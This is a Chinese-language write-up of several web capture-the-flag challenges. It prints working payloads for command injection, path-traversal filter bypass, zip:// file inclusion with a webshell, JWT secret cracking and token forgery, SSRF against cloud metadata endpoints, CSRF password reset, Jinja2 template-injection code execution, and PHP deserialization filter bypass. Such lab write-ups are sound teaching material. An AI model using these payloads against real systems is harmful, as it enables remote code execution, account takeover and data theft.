金币大挑战

发现点到21就

kbar发包就跳转到这,bp发也是一样

发现压缩吧被设置密码

爆破出密码 1170

我们尝试一下得到密码Squirtle1170

里面是两个文件的密码,我们再找找有没有其他线索:

继续查看论坛,发现关键字Squirtle后门,并查看图片,找到文件上传目录 uploads/,尝试拼接看能否访问

view-source:网址,可以看到源代码

我们在网页源码里可以看到一个目录:uploads/Squirtle.zip这是页面底部压缩包文件的目录,这证明这里有文件上传目录,我们访问一下uploads目录:

有目录但不让访问,我们用Squirtle.php试试看有没有木马:

是空白页面,其他的都是404找不到,这证明了确实有木马,而我们刚刚获得的那串字符Squirtle1170很可能是密码,蚁剑连一下

在根目录找到

杰尼龟系统

打开是一个操作系统的界面

发现ping,写个回送地址加上命令

发现有回显示,尝试读取带flag的文件

内容


                            <?php
// 设置flag文件 - 运行一次即可
$flag_content = "CTF{JennyGu1_RCE_P1ng_1nj3ct10n_F1@9}";

// 创建随机目录和flag文件
$random_dir = bin2hex(random_bytes(8));
$flag_dir = "./" . $random_dir;
$flag_file = $flag_dir . "/flag_" . bin2hex(random_bytes(4)) . ".txt";

// 创建目录和文件
if (!is_dir($flag_dir)) {
    mkdir($flag_dir, 0777, true);
}

file_put_contents($flag_file, $flag_content);

// 创建一些干扰文件
for ($i = 0; $i < 10; $i++) {
    $fake_file = $flag_dir . "/fake_" . bin2hex(random_bytes(4)) . ".txt";
    file_put_contents($fake_file, "这不是flag,继续寻找吧!");
}

// 在其他目录也创建一些干扰文件
$other_dirs = ['logs', 'tmp', 'uploads', 'backup'];
foreach ($other_dirs as $dir) {
    if (!is_dir($dir)) {
        mkdir($dir, 0777, true);
    }
    
    for ($j = 0; $j < 5; $j++) {
        $fake_flag = $dir . "/flag_" . bin2hex(random_bytes(3)) . ".txt";
        file_put_contents($fake_flag, "假的flag: FLAG{THIS_IS_NOT_THE_REAL_ONE}");
    }
}
echo "Flag文件已设置!<br>";
echo "Flag文件路径: " . $flag_file . "<br>";
echo "Flag内容: " . $flag_content . "<br>";
echo "请删除此文件以确保安全。";
?>

--- 检测到可能的命令注入 ---
注意:系统可能已被注入恶意命令!             

上面说有很多flag文件是干绕我们的

批量查找flag

127.0.0.1|find / -name "*flag*" 2>/dev/null

先按顺序一个一个试试

竟然回答正确了那么其他的应该都是假的

flag{459fc13bc7e1265b410fa7eb9e87a63e}

static

打开给了源代码

审计一下简单来说就是

给了一个读文的的地方?file=xxx但它有 3 条要求:

1、开头必须是 static/(只能从 static 文件夹出发)

2、不让用 ../,发现就给删了

3、不管你填啥,最后都强制给你加个 .php 后缀

除此之外过滤了一下常见的命令执行函数,和协议

所以用....//绕过一下,拼接flag,以static/开头

pyload;

?file=static/....//flag

Pandora Box

太明显了直接上传照片马

png上传成功,改php被发现了

上传照片马成功,点击跳转发现错误点了

搜索大佬的思路

url存在?flle,可以用zip伪协议打包

# ① 木马压成 zip,改名为 .jpg 绕过上传检查
shell.php → shell.zip → shell.jpg(内容还是 zip 格式)

# ② 上传后得到 upload/ea36edb9....jpg
# ③ include 时用 zip:// 协议,拼接的 .php 恰好补全 zip 内部文件名!
?file=zip://upload/ea36edb9ef98476643e4af0831ff593f.jpg%23shell
        ↓ include 自动拼 .php ↓
zip://upload/xxx.jpg#shell.php   ← zip 包里的 shell.php
?file=zip://upload/文件名%23shell&一句话木马参数=ls /  

pyload:

?file=zip://upload/文件名%23shell&一句话木马参数=cat /flag  

Signed_Too_Weak

打开是一个登录框,并且给了用户名和密码

登录看看,发现为普通用户权限

看看cookie

没啥信息但撇了一眼url发现

一长窜密钥,发现像之前做的jtt,找个在线解密一下

在线JWT解密

用jwt_tool爆破一下,没有的可以看JWT Tool:针对 JSON Web Tokens 的测试工具题解JWT cracking - 让-雅克-卢梭 - 博客园大佬分享

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3ODgxNTcxNjgsImV4cCI6MTc4ODE2MDc2OH0.u9PG1spzGXmegehdNkqF0Rm87SN6jPbsApVvWIoA4AU -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3ODgxNTcxNjgsImV4cCI6MTc4ODE2MDc2OH0.u9PG1spzGXmegehdNkqF0Rm87SN6jPbsApVvWIoA4AU -T -S hs256 -p "polar"

pyload:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzg4MTU3MTY4LCJleHAiOjE3ODgxNjA3Njh9.eabfgc18GqIWRPlPYkMQHJHMTs0MaeKyUbLP6j80Ddw

云中来信

打开是一个交互的地方,只允许访问白名单域名:preview.polar,和只允许 http/https。访问

想到了ssrf

http://preview.polar@127.0.0.1

把 preview.polar 当作用户名,实际访问 127.0.0.1

尝试拼接一些命令

看来不行,我们试试访问云服务商元数据服务接口:/latest/meta-data 这是AWS 定的"行业规范目录"

http://preview.polar@127.0.0.1/latest/meta-data

访问/latest/api/token先拿token:

http://preview.polar@127.0.0.1/latest/api/token

返回了token,我们根据提示的格式

st/meta-data/ctf/a8dc35b6f9a5e9e44482,我们访问看一下:

http://preview.polar@127.0.0.1/latest/meta-data/ctf/364ed609f03b6dfda9e7

路飞的HTTP协议冒险

看到这题默默打开bp

点击出发吃肉

这样点太慢了,抓包

得到情报:需要获得rubberpower才可以变强,发现url有传参

尝试GET传参?power=rubber意为力

进入

问一下罗宾

获得情报那就 blood=boost&limit=unlock

但不知道发什么包,抓包发现是个POST包

开启成功

发现可以开三档了

问问弗兰奇

原来如此,抓包改一下,加一个X-Luffy-Gear3:BoneInflate

访问/gear4.php

问问雷利

这句也就是在cookie里加上:Trainer: Rayleigh,还有:gear4(四档): BoundMan(弹力人),成功开启四档:

访问/clear_seal.php

显示还有封印问一下甚平

发现传post包就会变成

抓包分析一下

难道要用DELETE请求?结合提示清除前看看状态是否存在,也就是 If-Match 请求头,用来"报编号证明身份"的

访问/0nep1ecef1@g.php

BH

打开给了源代码

分析代码,我们输入的参数会被拼接到ping -c 2 127.0.0.1后面,所以我们用分号;或管道符|来运行命令,

输入?cmd=;ls

?cmd=;cat%20flag.php

提示真的只有在cat /flag时给

被骗了

刚刚就是的

你会渗透吗

给了测试账号text/text

登录进去

里面有一张图片,底部有一个字典生成器,但我们权限不足无法直接跳转,我们直接访问链接/tools/tools.zip,直接下载了:

点击index.html是一个密码生成器

回看照片,搜搜一下有用的信息,发现非常多的信息

收集到的信息填入表中

既然有了用户名还有密码本,是不是可以爆破一下密码登录账户呢(坏笑)

bp抓包用户名用Squirtle,密码随便,抓的包发到intruder里

最后点开始攻击

账户:Squirtle密码:PolarDN138 登录

随便发个123,发现可以发送成功

但这个重置密码结合给管理员发信息,感觉像csrf把重置密码的包先看看是不是get请求

果然,那么思路有了,利用bp自带的csrf功能,把这个包打包成信息发给管理员,这样利用谁点谁的密码都是12345678,这样管理员只要点了密码就是123345678,这样就可以登录管理员账户了,理论成立,开始实践

1,放行那个包,右键找到相关工具点击生成csrfPoc

之后

回到页面给管理员发信息

发送成功

登录账户

得到flag

diary

打开是应该日记,感觉像是xss的存储形,还有sstl

<script>alert(1)</script>弹窗成功

试试sstl

{{7*7}}会出现49

但是好像因为刚刚的弹窗,现在只要发送信息就会弹一下窗

试试xss,

没有什么有用的信息排除xss

用dirsearch扫到了两个目录:

/clear是清理文章的,/source是源码,我们看看源码:

.漏洞识别

页面是 Flask + Jinja2 的日记本,提交的内容直接当模板渲染(提示语里明说了 "Use template syntax")。测试 {{7*7}} 返回 49 SSTI 确认

排除xss

接下来模糊匹配

被拦截

可用

config request self lipsum cycler joiner namespace

url_forg

__class__ __globals__(含 globals) __builtins__

attr("__&#8203;glo"+"bals__")

os popen get

字符串拼接 "o"+"s""po"+"pen"

[ 方括号索引、.get()

`

{{url_for|attr("__glo"+"bals__")|attr("get")("o"+"s")|attr("po"+"pen")("ls /")|attr("read")()}}

url_for

Flask 内置对象,绕过入口

|attr("__glo"+"bals__")

拿到它的 __globals__ 字典(拼接躲过 globals 黑名单)

|attr("get")("o"+"s")

用 get 方法取 os 模块(方括号和 get 都被拦,用 attr 调 get)

|attr("po"+"pen")("命令")

调用 os.popen() 执行命令

|attr("read")()

读取命令输出

看来不在根目录

pyload:

{{url_for|attr("__glo"+"bals__")|attr("get")("o"+"s")|attr("po"+"pen")("cat /app/flag")|attr("read")()}}

魔法导入器

看着好像是应该php反序列化的题

查看一下源码

<?php
class FileViewer
{
    public $path;

    public function __toString()
    {
        if ($this->path && file_exists($this->path)) {
            return file_get_contents($this->path);
        }
        return "[文件未找到]";
    }
}

class Welcome
{
    public $user;

    public function __destruct()
    {
        echo "<div class='bye-msg'>再见," . $this->user . "!</div>";
    }
}

class Profile
{
    public $name;
    public $bio;

    public function __wakeup()
    {
        if (strlen($this->name) > 30) {
            $this->name = substr($this->name, 0, 30);
        }
        if (strlen($this->bio) > 200) {
            $this->bio = substr($this->bio, 0, 200);
        }
    }
}

function validate_serialized($data)
{
    $rules = [
        '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
        '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
    ];
    foreach ($rules as $pattern => $msg) {
        if (preg_match($pattern, $data)) {
            return [false, $msg];
        }
    }
    return [true, '验证通过'];
}

// Source code view
if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    exit;
}

// Logic
$result = '';
$error = '';
$destruct_output = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {
    $raw = trim($_POST['data']);

    list($ok, $msg) = validate_serialized($raw);
    if (!$ok) {
        $error = $msg;
    } else {
        $obj = @unserialize($raw);
        if ($obj === false && $raw !== 'b:0;') {
            $error = '反序列化失败:格式无效';
        } else {
            $result = '导入成功!对象类型:' . get_class($obj);
            // Force __destruct() NOW so output is visible on page
            ob_start();
            $obj = null;
            $destruct_output = ob_get_clean();
        }
    }
}

$demo = new Profile();
$demo->name = 'Alice';
$demo->bio = 'CTF Player';
$export = serialize($demo);
?>

简单审计了一下,有三个类,三个类里有三个魔术方法,分别是__toString(),__destruct(),__wakeup()

触发方式为 对象被当成字符串使用时触发 ,对象销毁时触发,对象序列化还原后触发。

还有一个过滤

1 拦 flag 路径:/s:\d+:"[^"]*flag[^"]*"/

2 拦非法类名:/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/

function validate_serialized($data)
{
    $rules = [
        '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
        '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
    ];
    foreach ($rules as $pattern => $msg) {
        if (preg_match($pattern, $data)) {
            return [false, $msg];
        }
    }
    return [true, '验证通过'];
}

检查的是flag这个,想一想如何绕过呢,

感觉像rec一样,转义绕过fl\ag进行绕过试试

现在理一下思路:

1,不能实例化Profile也用不到,一旦实例化就会触发__wakeup(),进行字符截断

2,实例化Welcome,利用销毁时触发,

echo "<div class='bye-msg'>再见," . $this->user . "!</div>";

进行字符拼接后面的类从而触发 __toString()方法,里有file_get_contents()函数是把一个文件(或数据源)的内容全部读出来,但前面会用file_exists()函数是检查文件或目录是否存在的

所以构建

<?php
class FileViewer
{
    public $path;

    public function __toString()
    {
        if ($this->path && file_exists($this->path)) {
            return file_get_contents($this->path);
        }
        return "[文件未找到]";
    }
}

class Welcome
{
    public $user;

    public function __destruct()
    {
        echo "<div class='bye-msg'>再见," . $this->user . "!</div>";
    }
}
function validate_serialized($data)
{
    $rules = [
        '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',
        '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',
    ];
    foreach ($rules as $pattern => $msg) {
        if (preg_match($pattern, $data)) {
            return [false, $msg];
        }
    }
    return [true, '验证通过'];
}

$a=new Welcome();
$b=new FileViewer();
$a->user=$b;
$b->path="/fl\ag";
echo serialize($a);
?>
>>>
O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";s:6:"/fl\ag";}}

成功导入但没有回显,可能转义出现问题,换一个,flag

/\66lag,/f\6cag,/fl\61g/fla\67/\66\6c\61\67

转义后都是flag

O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";s:5:"/fl\61g";}}

但还是不行

最后问了ai才知道,要大写S,小写s不会转义\61为a

所以改一下

O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{S:4:"path";S:5:"/fl\61g";}}

得到flag

打地鼠

打开

发现突破到100了也没有任何提示

也没有任何东西

然后凭借猜得出参数名称为 flag_key,传参拿到 flag:

消消乐

玩赢就给

flag{06555a53b8b6e75a5bd6b78d440cac38}

打赏

打开

随便填

我就知道逗我玩

感觉这个//QD2AHXMGSJMMG2NM 很可疑像是base系列的加密

各种工具解密后还是得不到任何有用的信息

搜了个wp才知道,怎么还能反转之后再base32解密啊

将QD2AHXMGSJMMG2NM反转MN2GMJMSGMXHA2DQ

base32解密出来后是ctf123.php是个php文件访问一下

看到源码了

简单审计一下一共有两关

第一关很好过,只要加一个cookie头route=auditor

第二关

$route = $_GET['route'] ?? '';
if (preg_match('/admin/i', $route)) {    
    stop('第二关:检测到敏感路由 admin');
}
$route = urldecode($route);              
if ($route !== 'admin/panel') {           
    stop('第二关:没有进入管理路由');
}

给了一个可控参数,route过滤了admin的大小写,

之后进行url编码,如果传递数据不是admin/panel

就返回没有进入管理路由

所以想到二次编码,将admin进行二次编码%61%64%6D%69%6E第一次编码

%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45二次编码

传入的数据,浏览器自动解密一次变成%61%64%6D%69%6E,不是admin

然后urldecode解密一次变成admin比较成功返回flag